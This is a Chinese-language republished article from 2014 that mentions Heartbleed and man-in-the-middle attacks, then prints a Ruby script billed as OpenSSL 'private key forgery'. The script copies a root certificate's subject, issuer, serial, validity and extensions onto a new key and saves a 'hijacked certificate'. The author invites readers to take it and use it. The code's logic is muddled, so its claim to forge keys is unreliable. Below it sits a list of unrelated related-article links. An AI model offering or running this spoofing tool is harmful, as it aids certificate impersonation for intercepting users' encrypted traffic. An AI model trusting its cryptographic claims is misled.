Ruby OpenSSL 私钥伪造脚本

前段时间的openssl heartbleed 让我们心惊胆战的过了几天。

从用户数据泄露到 OpenSSL周边产品,从服务端到客户端, 从https 私钥泄露到 openvpn 、openssh 、sftp 等私钥泄露。很多地方我们无能为力。

太多的用户都认为https 就是安全的了, 在此之前也有各种各样的中间人攻击出现

下面我也贴段代码给大家看看。是 Ruby OpenSSL 的私钥伪造。

为了社会的和谐,具体用法我就不说了。能看懂的直接拿去用…

require 'rubygems'
require 'openssl'
require 'digest/md5'
key = OpenSSL::PKey::RSA.new(2048)
cipher = OpenSSL::Cipher::AES.new(256, :CBC)
ctx = OpenSSL::SSL::SSLContext.new
puts "Spoof must be in DER format and saved as root.cer"
raw = File.read "root.cer"
cert = OpenSSL::X509::Certificate.new raw
cert.version = 2
ef = OpenSSL::X509::ExtensionFactory.new
ef.issuer_certificate = OpenSSL::X509::Certificate.new raw
cert.subject = ef.issuer_certificate.subject
ef.subject_certificate = ef.issuer_certificate
cert.issuer = ef.issuer_certificate.issuer
cert.serial = ef.issuer_certificate.serial
ctx.key = ef.issuer_certificate.public_key
cert.public_key = ef.issuer_certificate.public_key
cert.not_after = ef.issuer_certificate.not_after
cert.not_before = ef.issuer_certificate.not_before
cert.extensions = ef.issuer_certificate.extensions
a = File.open("root"".key", "w")
a.syswrite("#{cert.public_key}")
a.syswrite("#{key.to_pem}")
spoof = OpenSSL::PKey::RSA.new File.read 'root.key'
printf "Verifying Keys Work: "
puts spoof.private?
ctx.cert = ef.issuer_certificate
puts "============================================================="
root = ef.issuer_certificate.sign(spoof, OpenSSL::Digest::SHA1.new)
filer = File.open("#{cert.serial}"".key", "w")
filer.syswrite("#{spoof.to_pem}")
file = File.open("spoof"".cer", "w")
file.syswrite("#{cert.to_der}")
files = File.open("#{cert.serial}"".pem", "w")
files.syswrite("#{cert.to_pem}")
files.syswrite("#{spoof.to_pem}")
puts "Hijacked Certificate with chainloaded key saved @ #{cert.serial}.pem"
printf "Verifying Keys Intergity: "
puts root.verify(key)

[Via http://www.pastebin.com/SQQXeAmF]

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2014-04-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏高性能服务器开发

(八)高性能服务器架构设计总结2——以flamigo服务器代码为例

说了这么多,我们来以flamingo的服务器程序的网络框架设计为例来验证上述介绍的理论。flamingo的网络框架是基于陈硕的muduo库,改成C++11的版本...

4635
来自专栏用户2442861的专栏

Qt学习之路_6(Qt局域网聊天软件)

http://www.cnblogs.com/tornadomeet/archive/2012/07/04/2576355.html

1571
来自专栏草根专栏

RxJS速成 (下)

Subject Subject比较特殊, 它即是Observable又是Observer. 作为Observable, Subject是比较特殊的, 它可以对多...

3404
来自专栏osc同步分享

MD5 加密和 BASE64 编码

package com.yawn.security; import java.security.MessageDigest; import java.util...

37211
来自专栏空帆船w

Android APK 签名原理

Android APK 签名原理涉及到密码学的加密算法、数字签名、数字证书等基础知识,这里做个总结记录。

3783
来自专栏blackheart的专栏

[信息安全] 1.密码工具箱

0. 何谓安全? 对于信息安全性的重要性,我想大家都不会否认。那么具体来说应该具有哪些特性才能称之为安全呢?举个简单的例子:我给你发送一条消息“借给我100元”...

22510
来自专栏web开发

前端AES的加密和解密

在工作的过程中,经常要对一些数据做一些加密,当然有复杂的加密和简单的加密,也有对称加密等等。总之加密的方式有很多。今天在这里,我只是简单的分享一个我最近遇到的加...

1.6K8
来自专栏用户2442861的专栏

Qt学习之路_6(Qt局域网聊天软件)

http://www.cnblogs.com/tornadomeet/archive/2012/07/04/2576355.html

3012
来自专栏JavaEE

spring和springboot中加密连接数据库的信息前言:一、spring中加密连接数据库的信息:二、springboot项目中加密数据库连接信息:总结:

在实际开发中,一些关键的信息肯定是要加密的,否则就太不安全了。比如连接数据库的用户名和密码,一般就需要加密。接下来就看看spring项目和spring boot...

2423
来自专栏FreeBuf

Hash Algorithm Identifier:一款快速识别Hash加密类型的工具

当遇到某个Hash值时,我们当然可以根据每种Hash值的不同特征来识别其可能的Hash类型,但是这一过程是十分耗时和繁琐的,而我们每个人都希望生活向更简单的方向...

3129

扫码关注云+社区

领取腾讯云代金券